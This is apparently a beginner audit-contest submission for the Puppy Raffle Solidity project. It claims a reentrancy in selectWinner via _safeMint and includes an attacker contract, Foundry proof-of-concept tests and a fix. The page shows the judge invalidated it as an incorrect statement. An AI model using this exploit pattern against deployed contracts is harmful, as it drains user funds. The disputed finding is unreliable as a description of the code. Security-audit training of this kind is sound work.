Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: high
Invalid

Reentrancy through `_safeMint` in `PuppyRaffle::selectWinner` pays two prize pools for one round

verdoolaegelouis

Root + Impact

Root cause: PuppyRaffle::selectWinner calls _safeMint — which invokes onERC721Received on the winner — before it clears players and resets raffleStartTime, so both entry guards still pass during the callback.

Impact: a contract winner re-enters selectWinner from the mint hook and the protocol pays out two full prize pools for a single round, draining the fees accumulated from previous rounds.

Description

  • A round must distribute exactly one prize pool. delete players and raffleStartTime = block.timestamp are what close the round and make a second draw impossible.

  • Those two writes happen at lines 148-149, after _safeMint at line 136. _safeMint calls onERC721Received on a contract winner, and at that moment players is still populated and raffleStartTime still holds the old value. The two require statements at the top of selectWinner therefore still pass, and the whole draw runs a second time inside the first.

function selectWinner() external {
@> require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
@> require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
...
uint256 tokenId = totalSupply();
@> _safeMint(winner, tokenId); // calls onERC721Received -> re-entry point
...
@> delete players; // round closed far too late
@> raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
}

Risk

Likelihood:

  • Occurs whenever the drawn winner is a contract implementing onERC721Received, which it must implement anyway for _safeMint to succeed. Combined with the predictable draw, an attacker chooses when to be that winner.

  • It needs the contract to hold more than the current round's stakes, which is the normal state: withdrawFees is a manual, separate call, so fees pile up across rounds.

Impact:

  • Two prize pools leave the contract in one round. In the run below, 6.4 ether is paid out for a round that collected 4 ether, consuming the fees of three earlier rounds.

  • totalFees is credited twice while the ETH backing it is gone, so withdrawFees — which requires address(this).balance == totalFees — can never succeed again.

Proof of Concept

Three ordinary rounds run first so fees accumulate, then the attacker wins the fourth:

contract HostileWinner {
PuppyRaffle raffle;
bool public reentered;
​
constructor(PuppyRaffle _r) { raffle = _r; }
​
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
if (!reentered) { reentered = true; raffle.selectWinner(); } // before delete players
return this.onERC721Received.selector;
}
receive() external payable {}
}
​
function test_oneRoundPaysTwoPrizePools() public {
normalRound(); normalRound(); normalRound(); // fees stay in the contract
​
HostileWinner a = new HostileWinner(puppyRaffle);
address[] memory p = new address[](4);
p[0] = address(uint160(6001)); p[1] = address(uint160(6002));
p[2] = address(uint160(6003)); p[3] = address(a);
puppyRaffle.enterRaffle{value: 4 ether}(p);
vm.warp(block.timestamp + 2 days);
​
uint256 before = address(puppyRaffle).balance;
vm.prank(callerThatSelectsIndex(3, 4)); // the draw is predictable
puppyRaffle.selectWinner();
uint256 paidOut = before - address(puppyRaffle).balance;
​
assertTrue(a.reentered());
assertEq(paidOut, 2 * ((4 ether * 80) / 100)); // 6.4 ether for a 4 ether round
}

Control test — the same winner with the re-entry disabled takes exactly one prize pool, so the doubling is caused by the callback and nothing else:

function test_passiveWinnerTakesOnePrizePool() public {
// identical setup, HostileWinner constructed in passive mode
assertTrue(!a.reentered());
assertEq(paidOut, (4 ether * 80) / 100); // 3.2 ether
}

Both tests pass on the audited commit with forge test.

Note: the inner draw recomputes winnerIndex with msg.sender equal to the attacker contract, so the second payment may land on another player. The protocol still loses two prize pools; an attacker who enters with several addresses they control captures both.

Recommended Mitigation

Close the round before minting, and follow checks-effects-interactions throughout: take the draw state down first, then mint, then pay.

uint256 tokenId = totalSupply();
- _safeMint(winner, tokenId);
...
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
+ _safeMint(winner, tokenId);
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");

Adding a nonReentrant modifier to selectWinner closes the same hole and also protects against any future callback introduced above the state writes.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!